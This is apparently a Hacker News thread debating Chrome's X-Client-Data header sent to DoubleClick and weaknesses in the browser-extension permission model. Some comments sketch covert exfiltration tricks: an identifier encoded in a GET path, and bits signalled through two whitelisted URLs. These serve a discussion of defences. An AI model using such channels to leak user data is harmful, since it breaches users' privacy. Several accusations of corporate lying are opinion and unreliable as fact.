If you don't want to personally, that's fine. But don't presume to get no criticism when you accuse any person or group of actively lying based on literally no evidence.

> No other browser is doing this. Why does Google need to send such tracking information to DoubleClick? You cannot justify it without also explaining why Safari and Firefox don't need this.

There's a difference between "want" and "think it's the best decision". I'm certain there are people at both Apple and Mozilla who would prefer to have more robust client side analytics. I have no doubt about that. But whether they think that's worth the perceived loss of privacy is another question. Right now, Firefox has a comparative advantage with certain types of privacy conscious users. Why throw that away? The increase in development speed may not be worth the loss of user trust. And that's okay, but using that to then imply that Google is lying about things, again based on no evidence.

Let me put it this way: I trust Google (obviously), and so I'm fine to take them at their word that they aren't using this for ad targeting.

Someone who didn't trust Google could reasonably say "I don't put much faith in Google's press release", but without any other evidence that there's actually any targeting happening, the most you could reasonably say is that they might be.

You're taking an even more extreme position that given the opportunity to do a nefarious thing, Google must be doing it. Despite other reasonable explanations existing. This is a weird position to take and I don't get it.

Wow talk about revisionism! Chrome was meant as a hedge against IE and lesser so against Firefox. Microsoft owned the desktop with Windows and could easily shut Google out. See the reason surrounding the creation of the Google toolbar.

Similarly Android is a hedge against IOS and mobile search.

IE had bad standards support and bad defaults, while Chrome will actively track you on practically every site by sending an identifier to a whitelist including DoubleClick.

Would you be defending it if it was called "DoubleClick Browser"?

Google wants to secure the status quo with their own browser. What is the status quo? Massive spying, surveillance and tracking.

This is why Safari and Firefox implemented strict measures against third-party cookies which Chrome watered down until it was practically useless or didn't implement at all.

If Chrome is such an open and independent project, what do you think are the chances of a PR being approved that removed DoubleClick from the tracking header whitelist?

Are you talking about Chrome or Chromium?

Chromium, but they're effectively the same. The average user doesn't know what Chromium is.

https://chromium.googlesource.com/chromium/src/+/e51dcb0c148...

I see, thanks. I'm looking at that source and confused what it's actually doing though. What is the "tracking" aspect? I see ShouldAppendHeaders() returns true on doubleclick.net, but on the face of it, it seems to just be saying: "Should we send experimental headers to this URL? If it's doubleclick.net, then yes." But they claim [1] this X-Client-Data header is used for experimenting with Chrome, not for tracking. But you're claiming they're using it for tracking, so you're claiming they're lying... which I mean is certainly possible, but I see no evidence for it. What's your basis for claiming they're lying with such certainty?

[1] https://9to5google.com/2020/02/06/google-chrome-x-client-dat...

Because the statement is deliberately ambiguous, and doesn't say they do not use it for tracking.

"The X-Client-Data header is used to help Chrome test new features before rolling them out to all users. The information included in this header reflects the variations, or new feature trials, in which an installation of Chrome is currently enrolled. This information helps us measure server-side metrics for large groups of installations; it is not used to identify or track individual users."

Okay, so they're saying it is not currently being used to track individual users.

This means they can:

- Track individual users in the future.

- Track devices at any time, for differentiation of individual profiles.

- Track installs at any time.

- Derive information about the individual using this data (for example how often they update their browser, how often they use that device etc)

All of those things are extremely valuable from a data standpoint.

Unless Google explicitly stated that it was not being used to track, differentiate or profile users or devices and will not be used for that purpose in the future, it's extremely suspicious.

Most ad networks collect bulk information from browsers to fingerprint devices and users. Google has a step up on the competitor networks because they own the browser.

Do not forget Google was sued just this month for tracking users while they were using incognito mode.

I have no clue if they're lying or not, and I'm open to the possibility that they are, but you're not really making a good case for it here. It's pretty disingenuous to claim they track users and base it on lack of mathematically airtight evidence that they don't. That's not how accusations are supposed to work, right? I might as well claim you're a burglar because there's nothing to indicate you're not one.

If you want to say you think they're tracking people because of reasons X/Y/Z, or that what they're doing looks suspicious, that's a lot better of an argument. But to claim they are with no evidence of it actually happening is really pushing it.

It's an advertising company making a statement about a "feature" in their browser that phones home to advertising domains with information that could be used for tracking purposes. You don't think that deserves extreme scrutiny? Do you think that statement was made by a random developer or filtered through 100 PR and legal people?

Every single word of that statement was carefully crafted and constructed. Knowing that, why is it so ambiguous?

Where did I say it doesn't deserve scrutiny? Scrutinize it all you want, I'm sure it went through lots of people before being published. "Scrutiny" is not the same thing as actually accusing them of lying though.

> Every single word of that statement was carefully crafted and constructed.

I also don't believe this to be true (their statement seemed plain and clear enough to my eyes), but even if it were, it doesn't affect what I said above. You need actual evidence, not the mere possibility of mathematical loophole.

Sorry, I hate to ask but I just have to know now. Have you ever worked in a large tech organization? Such a statement would never be made to the press without being touched by PR/legal.

They may not even be explicitly lying, because the statement is so ambiguous. When you're reading PR/legal speak then every single word matters.

> Sorry, I hate to ask but I just have to know now. Have you ever worked in a large tech organization?

Sorry, but you're not going to.

> They may not even be explicitly lying, because the statement is so ambiguous. When you're reading PR/legal speak then every single word matters.

Then say it's ambiguous, instead of saying the opposite is true, is all I'm saying. You misinform people that way.

> It's pretty disingenuous to claim they track users

Google lost the benefit of doubt years ago. This is Google 2020 - all they do is "track users":

https://www.reuters.com/article/us-alphabet-google-privacy-l...

https://www.compliancejunction.com/google-loses-appeal-of-e5...

> I might as well claim you're a burglar because there's nothing to indicate you're not one.

Google have been caught burgling houses repeatedly, and have been found in your house with burglary tools claiming "we're just doing, ummm, _browser experiments!!!_" You saying there's "no evidence of it actually happening " isn't useful.

Yeah, and that sounds totally plausible. That Google need to send "experimental headers" to a hardcoded domain for an advertising company they bought a decade or so back - because of course the results of web browser experiments should go to an advertising company (or these days th advertising division of a company) ad not, say, to google's own domain? /s

Google are totally lying here.

You realize that the tracking headers are headers as part of the requests that you were already making to doubleclick. So, what's happening here is that if you make a request to doubleclick (say because you're viewing an ad), extra information is included that allows Google to understand which experiments were enabled on your browser.

If you never go to doubleclick yourself, chrome won't ever send data to it. It's not like a sneaky background thing. It's extra data attached to requests you were already making.

Do you really believe this is even vaguely close to true?

To a first approximation, _nobody_ "goes to doubleclick themselves".

At the same time, back in 2016 a study at Princeton found almost 50% of all sites on the web had Doubleclick on them (this is separate to the 70% of sites running Google Analytics - and I'd bet there's approximately zero sites that serve doubleclick ads/trackers but not google analytics ones, so there's even less way to spin this as being a necessary way for google to "understand experiments" by whitelisting the doubleclick domain...).

I never "go to doubleclick". My browser "sneakily in the background goes to double click" while I browse about half the sites on the internet.

"It's extra data attached to requests you were already making." is technically true, and gaslighting at it's most brazen.

If you asked your mom how many times she made a went to doubleclick today, what would she say? What would the actual answer be if we wanted to use the tortured terminology of "requests she was already making to doubleclick" from your apologia about your employer up there?

You took me to task for calling you a stooge and that being "against HN policy" elsewhere in this discussion...(Well, I said "stooge", you accused me of saying "shill", but whatever.) I guess I apologise for using the term "stooge" for someone who's told us they work at google and are telling lies about how Chrome is sending unexpected tracking data to Doubleclick. But it seems very much the right term.

How about instead I say that your statement "If you never go to doubleclick yourself, chrome won't ever send data to it." is a brazen lie, wrapped up in a weasel-wordy disingenuous interpretation of what 99.99% of people would clearly understand "go to doubleclick yourself" to mean?

I'll leave this argument now, with a quote for you and all googlers:

"It is difficult to get a man to understand something, when his salary depends upon his not understanding it!" -- Upton Sinclair

(Source for my 50% number: https://www.technologyreview.com/2016/05/18/160139/largest-s... )

You've contradicted yourself in the first 3 lines.

> At the same time, back in 2016 a study at Princeton found almost 50% of all sites on the web had Doubleclick tracking on the

Means that many people are going to doubleclick, via it's ads existing on other sites. If the extent of your concern is that I said "going to" instead of "makes requests to", valid and I apologise for not being precise in my use of language.

However, the HN guidelines also ask that you respond to the strongest possible interpretation of what someone is saying. So please respond to what it is clear I meant, and not the straw man you feel compelled to attack.

And since that bit of rhetorical drama seems to at this point be the core of your concern, I don't know that theres anything of substance for me to address here, just more personal attacks.

> My browser "sneakily in the background goes to double click" while I browse about half the sites on the internet.

To be clear, this is false. Your browser isn't doing anything sneaky here. Perhaps you can argue that individual websites are being sneaky by including 3p advertising. That's a valid concern. But a browser "loading the HTML of the page you direct it to" isn't being sneaky or nefarious.

And how many times did your mom say she "went to" or "made requests to" doubleclick today?

We all know the answer. Zero. Whatever your sneaky-browser-behaviour-depending employer wants you to say in public, her answer will be zero. Same as 99.99% of the world.

I hope there is generally less rationalization at Google towards privacy practices to be honest.

I think the behavior on display is pretty sneaky, undermines privacy and users aren't really informed about Google doing "research" on them.

This is a fair comment. I'm not saying that there couldn't be better privacy practices in place (while I think Google is better than average here, we aren' perfect and to your point I think a lot of people within Google recognize that).

But the question here is what part of this is sneaky? Is including a weird tracking header sneaky? Perhaps. Is making requests to doubleclick sneaky? In the context of those requests being made as part of a page load? Not on the part of Google, which is my point.

The original complaint was that the header was being sent

> That Google need to send "experimental headers" to a hardcoded domain for an advertising company they bought a decade or so back - because of course the results of web browser experiments should go to an advertising company

And the reason why is simple: that's the domain people are already making requests to.

You should probably disclose in this comment thread that you work for Google.

> What is the "tracking" aspect?

See this post I made when X-Client-Header was introduced.

> But they claim [1] this X-Client-Data header is used for experimenting with Chrome, not for tracking.

They claim a lot of things. Sometimes they even modify their claims years after they first made them. Even if they were making 100% innocent claims now, they are not guaranteeing[2] they won't change how they use the data in the future.

> But you're claiming they're using it for tracking, so you're claiming they're lying...

Not at all - as I point out in [1], Google is saying they are tracking people with that header, but the claim is obfuscated by some blatant doublespeak and the hope that you only consider the X-Client-Header (or any other field with >0 bits of fingerprintable entropy) in isolation. That is never true, <i>which Google also admits</i> when e.g. they casually mention they can deduce a HTTP request's country of origin.

Asking if the X-Client-Data is "used for tracking" is the wrong question. They are tracking people using the combined set of all of the tiny pieces of data they are able to exfiltrate from you. Any specific piece of data isn't important; if that header was missing or corrupt, it's just a small amount of noise added to the already noisy correlations they do to fingerprint you to infer whatever they are interested in about your pattern-of-life.

[1] https://news.ycombinator.com/item?id=22236778

[2] https://news.ycombinator.com/item?id=18466647

> Google is saying they are tracking people with that header

No they don't. Nothing in your comment sounds anything like Google claiming to be tracking people. And as mentioned elsewhere in this thread, they explicitly claim to not be tracking individuals.

Maybe its more doublespeak: "individuals" isn't the same as "everyone"

The only source I can find for that "explicit claim" seems to be from an emailed statement to (several?) journalists where they state:

>> "The information included in this header reflects the variations, or new feature trials, in which an installation of Chrome is currently enrolled. [...] it is not used to identify or track individual users."

I believe this statement is true. They are not using the X-Client-Data HTTP Header to track "individual users". As they state in their "Privacy Whitepaper"[3], a "low entropy variation" is

>> randomized based on a number from 0 to 7999 (13 bits) that's randomly generated by each Chrome installation on the first run.

This per-installation 13 bit id number is sent in HTTP requests to certain Google domains:

>> [...] a subset of low entropy variations are included in network requests sent to Google. [...] These are transmitted using the "X-Client-Data" HTTP header. [...] This header is used to evaluate the effect [of the variation (presumably?)] on Google servers [...]

Google is explicitly saying they are tracking the new 13 bit id number. This particular id number is somewhat low granularity, due to the limited bit length, which - as Google correctly claims in their statement to the press - is too small to "identify or track individual users". Regardless, they are still claiming they track a 13 bit identifier tied to "each Chrome installation".

I never said the X-Client-Data header was enough to track individuals. An IP address doesn't uniquely identify individuals either. Google's use of language is hoping you stop there. The header is too small to be identifying, so it doesn't matter! This framing is only true if you limit your questioning to considering the "low entropy variation" number in isolation. If that was the only number Google was able to track, it indeed wouldn't be concerning. However, that number is probably transported to Google over the internet in an IP Protocol packet, meaning they are at a minimum also receiving either a 32 bit (IPv4) or 128 bit (IPv6) identifier in the Source Address field of each packet's IP Protocol header.

Google doesn't need to use the X-Client-Data header to "identify or track individual users". They can simply use it to disambiguate different Chrome installs that share the same public IP address. This usage of the number isn't identifying users; it's only identifying the different Chrome installs e.g. behind a typical household stateful NAT router. Both the X-Client-Data header and the IP address are both not unique personally identifying IDs. However, the tuple {X-Client-Data, IPv4 Address} is probably unique for most people. In the rare instance where it isn't unique, one of the related tuples like {X-Client-Data, IPv4 Address, User-Agent} will be.

The doublespeak is pretending the header "will not contain any personally identifiable information" when the stated purpose of header is to create a new tracking identifier that accomplishes the same thing as a personally identifying identifier when you combine it with the other data that Google already tracks (such as the 24 bits of "anonymized" IP address (they zero the LSB) that they store with each GA record.

[3] https://www.google.com/chrome/privacy/whitepaper.html#variat...

Using x and y to track individuals is still using x to track individuals.

> when the stated purpose of header is to create a new tracking identifier that accomplishes the same thing as a personally identifying identifier when you combine it with the other data that Google already tracks

This is not stated anywhere except by you. The stated purpose of the identifier is to track analytics around chrome experiments, and only that.

The tuple (IPv4 Address, User-Agent) is already unique for almost all, so why go to all the effort?

You claimed:

> Chrome was always a trojan horse to co-opt web standards for their own purposes

That wasn't the case. Google was concerned about Microsoft's ability to lock them out, and the lack of high quality browsers on non-Windows platforms.

Chrome was great (and offered some unique advantages at the time), but it's absurd to say there weren't high quality browsers on non-Windows platforms. Firefox was fine, and WebKit was good enough for Google to decide to adopt it. They raised the bar by throwing engineering muscle at the problem but there was nothing "low quality" about Safari, Opera or Firefox at the time.

A good part of the initial engineering muscle came from Mozilla. Google used to pay people working on Firefox, including the Firefox lead developer Ben Goodger, but pulled them to work on Chrome instead. So they already had a system set up for moving the web forward, but clearly they wanted more than that.

DoubleClick is owned by google. Seems reasonable enough that its one of the run experiments domains.

Android was being developed before IOS, and had a prototype phone in 2006. If anything, Windows Mobile was probably what they feared.

Windows Mobile was as good as dead on most markets. If anything, the competition was against Symbian, and to a lesser extent against Blackberry.

I did a tiny bit of development on the very last version of symbian and was disappointed that it didn't get any support. It got a lot of things wrong, but it also got a lot right. Could've been a contender imo.

Yes and no. If Google only wanted to hedge against IE they could have just contributed to Mozilla/Firefox. They clearly also wanted total control.

In fact they did contribute to Firefox by paying engineers like Ben Goodger and Seth Spitzer, but clearly they weren't happy with that level of control. Goodger was lead developer for Firefox. They pulled all those people to work on Chrome instead, a step that immediately hurt Mozilla.

If Google wanted to support open standards and reduce reliance on IE, they wouldn't have targeted Firefox customers with Chrome ads on YouTube and Google aggressively.

Now, Firefox and Safari will protect customers against tracking (measures against third-party cookies) while Chrome won't do anything -- because that's where the cash is.

> ! Chrome was meant as a hedge against IE and lesser so against Firefox.

IE was steadily loosing ground to Firefox years before Chrome came around. You want to claim that Google feared the half starved stepchild that was IE more than the add blocking enabled Firefox that was eating up market share left and right?

> Microsoft owned the desktop with Windows and could easily shut Google out.

How would building your own browser help with that? If Microsoft managed to build its walled garden (which it tried) it could have just shut Chrome out.

Chrome is already entering its planed end game: Adblock APIs are crippled and third party cookies get the boot while all Google properties get an additional x-client-data identifier to uniquely identify its user.

I was going to shitpost "people wouldn't be using Chrome if they minded being spied on" but your take is much more eloquent.

The other side of this is the many complaints in HN threads about restrictions on what extensions can do and which ones are allowed. I can't say whether chrome's extension library strikes the right balance, but I think it's a difficult tradeoff.

A solution would be that browser maker always check what are the most popular extensions and implement those feature in browsers so you get security and performance. It is more work for the browser maker but you do it for the popular extension (if you care about your users and not about yourself - this applies to GNOME too)

Remember pdfjs? Performance will be the same.

Pdf.js is great for majority of users IMO. A good example is readability, is part of many browsers now by default so you don't have to hunt for a good and trustworthy extension.

The main issue people complain about is that it takes months for Google to review extensions and they shut down extensions randomly without giving reasons, not the amount of permissions.

Instead of just outright limiting extensions you could give users the choice. Give us an option to make it impossible for extensions to send out data for example.

Exactly. What Chrome and Firefox should do, is bundle their own analytics program into the extensions program, make these analytics available via AMO or Chrome Web Store (already has a very basic version), and remove the ability for extensions to perform outgoing network requests unless the user explicitly whitelists the extension. Even then, show big scary warnings about extensions given this permission being able to steal your bank passwords, just to keep the less tech-savvy informed.

One thing extensions commonly do is modify the page. If an extension can modify the page, it can insert an <img> which will cause a network request to happen. How do you plan to prevent this? Prevent extensions from modifying the page?

Same suggestion applies. Show users the warning that extensions can modify your page and have users explicitly approve of it.

And they already do that. The problem is, almost every extension has a legitimate need to read and/or modify the page, so people click through this permission warning like Vista's UAC.

I do notice that almost all of the extensions I use have no need to make http requests nor modify the dom (e.g. to add tracking <img> or css url()). I wonder what other methods there are to exfiltrate info beyond that.

What extensions are those?

Maybe also introduce a paranoia button where every request can be vetted in its context, so every request you get to see the code and a button permit or not.

Potentially dumb question here, but would it be generally possible to create a permissions system for browser extensions that can distinguish between an extension that is actually sending information based on sensitive sources like page content and browser history and an extension that only sends harmless stuff over the network like e.g. asking for updated ad block lists?

I'm imagining something like a sufficiently advanced type system that could tag data from sensitive sources, and force you to use a different API if you e.g. want to put that kind of tagged information in a network request. Though even if this would be available, I suspect there are many more indirect methods of exfiltrating information e.g. if you have the permission to change page content, which are probably very hard to impossible to distinguish effectively from benign stuff.

Some of the most useful extensions need really scary permissions. I don't see any good way to robustly fix malicious extensions than to create a permissions system that would make the scary permissions unnecessary for most cases.

The current system is broken enough that I try very hard to minimize which extensions I use. It's essentially just an ad blocker and a password safe in my main browser. And then a bunch of dev tools in a different browser I use for development, but not for browsing in general.

I don’t see why it wouldn’t be possible to make a more granular extension permission system that also has stricter sandboxing. Safari is already going in that direction. The new extension system is more restricted, although I don’t know if there is any granularity to it.

So WebExtensions support this, even dynamic permissions (like on Android). But I've found I've had to push developers to use it because it makes their life a bit harder and it's already a side-project.

The UX for the dynamic permissions and fine-grained permissions is, to be generous, not good. I never saw any expressed desire or commitment from the Chrome team to improve on this which is likely why so many extensions still just request blanket access instead.

Firefox already tells you what things an extension can do /what kind of permissions it has, when you are about to install one. You cannot install one and later turn off those permissions though.

Would this fit what you describe?

The Chrome extension install flow is like this too. The problems are many but a few, briefly, are:

* "What the extension can do" is very poorly specified, using language that casual computer users won't understand

* The granularity of permissions is poor so in some cases one operation requires a seemingly unrelated permission. (Android historically has had this problem too)

* While Google have recently made some steps towards improving this specific issue, per-website permissions are something that WebExtensions barely handle. You can technically put a specific list of domain names in your permissions list, but if a site changes domains or adds a new subdomain your extension won't work until you push an update that requests the new permission... and that update will disable the extension for everyone on the planet until they dig around in the UI to find the permission request warning. The last time I checked Google's new solution for this was to allow the end user to narrow the 'access everything' permission to specific websites, which is... something, I guess.

It is almost a 'stopping problem'. You can send any data by sending GET with data encoded in url path, without any query string. How is any sandbox supposed to detect if you are sending data or really just getting information (like updating adblock list).

The url path shouldn't change on each call, so ask the user to whitelist each request the first time that they are made. Subsequent GET requests to the same endpoint and same params can go through without a prompt.

It's very possible to solve this but not without completely overhauling WebExtensions. It's a relatively bad, old API that has multiple security problems paired with a distribution platform (the Chrome Web Store) that is severely neglected and also poorly designed for dealing with security threats. Fixing this would basically break every existing extension, and Firefox is living proof that doing this (for basically any benefit) is very expensive.

Unfortunately since the Firefox team gave up and just adopted WebExtensions wholesale and Edge is dead, the only vendor that's likely to do anything about this is Apple, which means you only get to benefit from a better extension security model on OS X (and maybe iOS, one day).

The idea you describe of tagging data from sensitive sources and limiting its flow is something that's been done in production software here and there, but never to the extent necessary here. It's commonly used to mitigate SQL injection attacks [https://en.wikipedia.org/wiki/Taint_checking]. Part of the problem is that the real issue here is not whether the data is privileged, the issue is whether the use of the data is permitted. If I install the 'Google Translate' extension it wants access to all my tabs, which is technically correct - if I ask it to translate some text in a gmail tab, it's going to need to access that gmail tab. But that doesn't mean I also want it to harvest all my emails and POST them to a server somewhere. You can say "well, disable POST requests", but how are the translation API calls going to hit the remote server?

Naturally gtranslate isn't going to exfiltrate my emails, but if the translation extension was maintained by a smaller vendor, some state-level actor could buy them overnight no problem.

How would the browser detect an extension that gets access to information that should not get out, then mixes it into a unrecognisable (by the automatic analysis) wad of data that is sent to some server, and actually is decodable by some third party? This is bad. This is what Chrome apparently does with X-Client-Data. For reason that I would relate to Godel's theorem I think detection cannot be done automatically.

Therefore, any access to private information makes any extension tainted somehow.

What about an extension that does not explicitly ask for information? In this post-Meltdown world, private information can be inferred by any program running for a sufficient amount of time. So, any program or extension could be considered tainted.

Also, even a "neutral" feature, for example implementing a faster alternative to HTTP, could exfiltrate data in non-obvious ways, if only via playing with timing.

TL;DR open-source only, code reviewed software is the only hope in sight , but it is currently weak enough to allow channels mentioned in these threads.

> Potentially dumb question here, but would it be generally possible to create a permissions system for browser extensions that can distinguish between an extension that is actually sending information based on sensitive sources like page content and browser history and an extension that only sends harmless stuff over the network like e.g. asking for updated ad block lists?

An invasive but effective strategy would be Javascript string/object tagging, where objects and strings derived from identifying API accesses are marked as dirty, and attempting to serialise these into requests or URLs triggers a permissions check. This would also give the option of replacing numbers and strings with junk data if the permission is denied, which seems pretty attractive.

Given the massive scope of a change like this, I don't expect it to happen, but it's nice to think of a world where any website or extension that attempts to exfiltrate data will be noticed by default.

> asking for updated ad block lists

You could only allow GET requests and require the user to whitelist this the first time the extension does it.

Subsequent calls to the same blocklist would go through without a user prompt, but if it suddenly started trying to send your email address or some other param, it would stand out.

A trivial way way to get around that:

Make calls to two seemingly benign requests early on. Now you can send whatever data you want to without triggering another prompt by successively requesting the first resource to indicate a '0' and the second resource to indicate a '1'.

I would pay money for an extension that keeps track on datatraffic of other installed extension and creates firewall rules (or something equivalent) based on my permission/deny. (I know that this is the other way around, but apparantly chrome isn't fixing these data issues...)

While I only have limited experience writing extensions, this seems doable.

You can most definitely add a hook for every outgoing request, though I'm not sure if the browser lets you know the origin of the request, i.e. the browser window or an extension.

If it could, at the most basic level it could write outgoing data to a log file.

AFAIK this is not possible. I don't think you can block request made by other extensions. I assume the API you were referring to is https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Web...

I wasn't sure if you could identify the origin of the request, I guess it makes sense that would not be possible or it could end up being cat and mouse between extensions.

For me specifically I had done some work with Firefox extensions, pre-quantum.

This will make the rounds because it has appeared on a large news agency and will be amplified louder than Joe Blog could do on his/her own, but this isn't a novel or shocking news.

You don't need to look very far to see how shady the internet gets. Go to any mainstream news website that runs ads and you will see those scam 3rd-party ads(they used to promote bitcoin ads a few years ago until the mainstream outrage) you wouldn't click on in a million years.

Now I'm not saying those ads are connected to broader malware, but if you start there you will uncover these shady operators(I discovered this when I did a little digging on a streaming website that provided content I could not obtain from the 32nd streaming service that I have to pay $10 a month to watch - and the amazing fact is that the same scammy ads you see on majornews.com is no different to the scammy ones you will see on torrentxyz.com).

I feel like Google Chrome should just have some icon or other visual indicator of when an extension has made a networking request. In addition, use the iOS model of permission and prompt the user when it wants to do something like access the network or read your browsing history. Perhaps if this happens on a frequent basis, give another indication that it's happening all the time with the ability to ignore such warnings. You need to repeatedly show such evidence to users for them to understand what's happening.

Most people would click on any warning without even reading, unfortunately.

Which is why I say "You need to repeatedly show such evidence to users for them to understand what's happening."

But showing the warning at least lets the more sophisticated people know what's up, and alerts them sooner that an extension that they previously trusted in one context now is doing something unexpected post-update.

I'd say most such issues with extensions could be solved if they were "read-only", i.e. were prevented from inserting data into documents, making or adding data into outbound requests.

It could block ads with monads!

Unfortunately that would also remove the reason that people are using the extension in the first place.

Kind of, but you can still leak a lot of information in a simple read-only GET

    GET /realylongstringwithmeaningfulbits/{user identifier}

This is basically what tracking pixels have been doing for years (1x1 transparent PNG).

Sorry, I wasn't clear, I meant making _any_ outbound connections from the extension. If it can read or simply drop (such as for blockers) requests it should be fine, and make it harder to leak data.

A chain is only as strong as its weakest link:

* developer wants compensation

* browser gallery has no resources

* users has no time to audit

Why as a user of Linux distribution I feel safer than installing extension? I asked maintainers, they have no answer, they don't perform audit. What if push to the gallery and update automatically is bad idea?

I mean in Linux distribution maintainers pull updates, they test it and push to stable. Each distribution can block update, it makes sense for author and maintainers to easy update with reproducible builds, source version control. Distribution may audit application - it is much simpler than audit by each user. Distribution may patch application to its standards.

In theory authors and maintainers can be bought, in practice it is much harder. And by itself this reduces pressure.

So I believe gallery should be split to trusted and others. And browsers should allow alternative galleries. I have a few extensions I trust.

What do you think?

I see this as an argument in favor of native apps. I mean really native, not Electron-esque ones.

As you more and more turn the browser into an OS, you have to treat it like an OS. Don't allow unprivileged user to install unsigned kernel modules.

It's really funny that on native there are all sorts of well-established models for communication between applications, sharing of files, etc. There are per-file and per-folder permissions systems, there's per-user permissions, and programs can be run with differing levels of access. If an app running in an App Store style sandbox (available on both OS X and Windows) wants to get its paws on my Outlook inbox files, it has some hard work ahead of it, and that's pretty nice. Even outside of a sandbox, the tools available to a regular (non-administrator) process are relatively restricted which helps limit the mischief they can easily get up to.

And then on the web, you just load pages. Pages are pages, except ones that come over https get Special Privileges because the Chrome team decided that was the best way to decide whether user content could be trusted. And pages that load from the local filesystem are less trusted, because it's only safe if it's coming through a socket. Any content hosted on a given domain is just as trustworthy as other content on that domain, and most importantly - very importantly - if the end user installs an extension, it's very essential that the extension be able to easily exfiltrate every single byte of your gmail inbox. After all, pages are pages - why should gmail or my bank be special compared to any other website?

Nobody put any real thought into how to structure the permissions model to combat real security threats. WebExtensions (the de-facto Worse is Better standard) basically dumps a bunch of different features into the 'do anything' permission bucket and leaves it up to the user to decide whether to trust an extension, despite the fact that an extension's ownership can change at any time. If an extension starts out without requesting any permissions, requesting a new permission (to do something useful) will silently disable your extension for all your customers - so naturally, what people do is request every single permission from the beginning, and users click Install anyway.

It's positively grotesque that the warning for this is still "read and change all your data on the websites you visit", and that so many trivial things require it. Chrome still makes no effort to draw your attention to how very, very dangerous this permission is. Say what you will about the UAC trainwreck but at least the SmartScreen 'this software is suspect' popups are suitably scary Red or Yellow and large, legible text.

Try this. https://raw.githubusercontent.com/jart/cosmopolitan/master/a...

Like virus ridden Windows applications or malware Android applications? Now as then it is community problem - someone has to review application. Unless obfuscated it is much simpler than native, otherwise mark it unsafe.

What extensions do you primarily use on Chrome (if you do)?

My list (on brave) includes:

>uBlock Origin

>Decentraleyes

>Stylus

> I don't care about cookies

No need for a separate extension, just go to ublock's filter lists and enable the cookies list under 'annoyances'

You can hide all cookies popups with uBlock Origin and the annoyances filter.

Stylus is the only one I had installed in Brave at the time you asked.

I have several in Chrome but the thing is I no longer really use Chrome for general browsing. Chrome has been relegated to development activity; I isolate developer tools to that browser and leave them out of my day-to-day browser (Brave.) It's a nice arrangement really.

Decentraleyes is interesting. Thanks for pointing that out.

I see, I sometimes prefer using Brave when a website doesn't work okay on firefox. Or like you said, using developer tools of chrome are a good use case too.

About decentraleyes, happy to help. It's a remarkable extension and I've been using it for about 2 years now. It's crazy how I still discover little tips and tricks that really help me while browsing forums to this date. Things that I would never otherwise encounter. I would have installed HTTPS everywhere but given that I rarely browse websites on brave, I reserved it for firefox.

your list and

> uMatrix

> PopupWindow https://github.com/ettoolong/PopupWindow (Firefox and Chrome)

> HideScrollbars https://github.com/sergeykish/hide-scrollbars (Chrome for now)

Last two is the possible vector, requires review.

I believe in security through simplicity (suckless style). So I've created one myself.

Any additional feature requires code - like toggle on/off https://github.com/quinton-ashley/firefox-hide-scrollbars.

uBlock Origin, Dashlane, Wappalyzer & NewsGuard

Get something like Pi-Hole or the MVPS hosts file ( https://winhelp2002.mvps.org/hosts.htm ) to block the majority of ads. Deal with the few ads that remain and enjoy blocking the vast majority trivially easily, without sharing all your browsing activity with an extension you can't easily audit the functionality of.

The "mystery" company behind the extensions is Genimous, parent company of Polarity Technologies. Polarity owns the extension referenced in the Awake blog post:

https://awakesecurity.com/blog/google-doppelganger-malicious...

Which extensions were compromised? Not seeing a list anywhere.

Mozilla maintains a list https://blocked.cdn.mozilla.net/

It would be nice to have it in Chrome https://bugs.chromium.org/p/chromium/issues/detail?id=109643... (star it please)

Is Chromium safe to use, or at least safe to use as packaged with Ubuntu's snaps? I know, I know, snaps are a difficult topic on their own, but my point is that, if Chrome's (and Edge's AFAIK) general hunger for data is a generally accepted fact at this point, then wouldn't employers/enterprises advising to use Chrome in their corporate networks not put themselves under risk of being sued for gross neglect in case customer data were leaking from Chrome sessions?

You can still install add-ons/extensions in Chromium, so it wouldn't help at all. Also, most malicious extensions try to siphon data from your web-session (e.g. your open gmail page), so sandoxing through snaps doesn't help, either. Chrome is still a fairly safe browser, and it is well within Google's interests to keep it that way. The big issue is users installing malicious extensions disguised as useful ones, and that's an issue independent of the used browser. You could argue that you are much safer with Firefox. Not because it's inherently safer, but simply because it's lower market penetration means that it is a less interesting target.

"It's Google. Everyone uses it. The defence rests."

No-one gets fired for choosing IBM.

Well,once at umiversity I saw Chrome installed on all machines, so I asked, why they installed spyware on _university_ machines. All I got was disbelieve and ridicule. These people are not even aware of what they are doing, nor informed enough to make such decisions.

I guess if it were a CompSci faculty, the therapy is making these actions of your uni public, then see their academic reputation asymptotically approaching zero :) Though it's not clear what Chrome sends home, and TFA is only about Chrome plugins, so lets not prematurely start a witch hunt.

Yet the majority of people here will read this and continue to use it because they are 'poweruser' web devs.

Other than a couple of minor developer related extensions the only extension I couldn't live without (in the sense it would make using the web significantly worse) is ublock origin - which is open source, vettable and you can install from the source if you really distrust the extension fronts.

Given that they're the engine now, does anyone know if Microsoft Edge is better than Chrome for for privacy?

Given that we're on HN, I distinctly remember reading on a comment that the new Edge supposedly dials home to MS and is not really secure either.

At least, if you're on Windows you pretty much already have to trust Microsoft, so you may as well not have to trust Google AS WELL.

The concern is not that Chrome dials home to Google, but that any random dude scatters your data across entire internet.

My comment is the answer to a specific comment asking about a tangential derivative based on the discussion (which is why it is not a new parent comment under the post itself). Thank you.

Yeah, I mean a disconnected reply to a tangential question is misleading.

They are both really bad for privacy. There's really no point in comparing them based on this criteria.

I've been developing Chrome extensions full-time for about a year now [1], and it's honestly terrifying just how much access extensions have to sensitive user data.

Best practices I've adopted for my own extension use:

- Create a separate test Chrome profile to try out extensions

- Delete extensions that ask for the overly broad "Read and change all your data on the websites you visit" permission unless (a) the extension is open-source (b) backed by a reputable company or (c) has a very good reason for requesting it, and I trust the makers

One of the biggest issues with extensions today is the permissions model. On more established platforms like iOS and Android, all sensitive permissions have to be requested at runtime rather than at install-time, which forces developers to explain why they need the permissions they ask for. With browser extensions, there's no such requirement, which leads many developers to ask for all the permissions they can get because there's no downside to doing so. That's why over 80% of the top 1000 extensions ask for access to ALL domains [2], which means they have the power to steal any of your data (emails, passwords, etc.) on any site if they wanted or became compromised.

I've written about this issue before [3] and the good news is that with Manifest V3, the Chrome team is planning to require that host permissions (which specifies the domains an extension can run on) be requested at runtime. I think the team should go even further and enforce the runtime restriction for all sensitive permissions, not just host permissions — if you agree, feel free to chime in on the post I made about it on the chromium-extensions mailing list [4].

The extension ecosystem is pretty broken right now security and privacy-wise, but with the upcoming changes, it's headed in a better direction.

[1] https://news.ycombinator.com/item?id=22936742

[2] https://docs.google.com/document/d/1nPu6Wy4LWR66EFLeYInl3Nzz...

